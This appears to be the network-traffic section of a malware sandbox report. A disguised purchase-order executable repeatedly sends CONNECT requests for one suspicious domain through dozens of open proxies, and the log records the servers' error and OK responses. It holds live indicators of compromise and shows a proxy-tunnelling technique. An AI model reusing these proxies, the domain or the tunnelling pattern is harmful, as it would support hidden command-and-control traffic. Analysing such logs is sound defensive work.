Mar 11, 2024 16:42:32.837722063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.11	54428	172.93.111.235	43520	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.589620113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.689034939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.782808065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.798222065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.11	54326	202.61.204.51	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.620268106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.641818047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.642142057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.641971111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.736609936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.135452032 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:57 GMT Server: Apache/2.4.38 (Debian) Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 655 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfigura
Mar 11, 2024 16:42:58.135468006 CET	446	IN	Data Raw: 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d Data Ascii: tion and was unable to completeyour request.</p><p>Please contact the server administrator at administrator@wildstyle-network.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.11	55128	198.8.84.3	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.648305893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.11	54460	77.37.132.129	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.742069006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.876396894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.985964060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.581156969 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.11	55176	5.202.104.22	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.789274931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.11	54459	166.62.38.100	6322	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.808537006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.829437971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.921799898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.923044920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.969733953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:21.110374928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:09.110224009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1819	192.168.2.11	55183	129.213.150.205	8080

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.838844061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.11	54589	162.214.170.144	39503	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.906537056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.985440016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.985984087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.985471010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.079082012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:21.079082012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:09.079003096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.11	55182	196.20.125.129	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.926995993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.11	54602	190.14.215.130	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.959037066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.985605001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.757855892 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.11	54561	14.47.70.137	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.993187904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.188599110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1824	192.168.2.11	54641	160.153.245.187	5436	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.004921913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.188724041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.191394091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.188735008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.282221079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.282310963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:21.282649040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.11	55168	104.200.152.30	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.084395885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.11	49731	207.180.234.220	37736	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.178168058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.329427004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.381694078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.391583920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.469727039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.469748020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:21.610285044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:45.735347986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:33.799184084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.11	49759	208.109.14.49	22881	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.220665932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.11	49720	103.186.8.162	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.234181881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.768251896 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.11	55170	208.102.51.6	58208	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.272326946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.11	54451	117.160.250.163	8828	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.348339081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.438574076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.937947989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.655631065 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:42:36 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.11	55188	45.11.95.165	5045	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
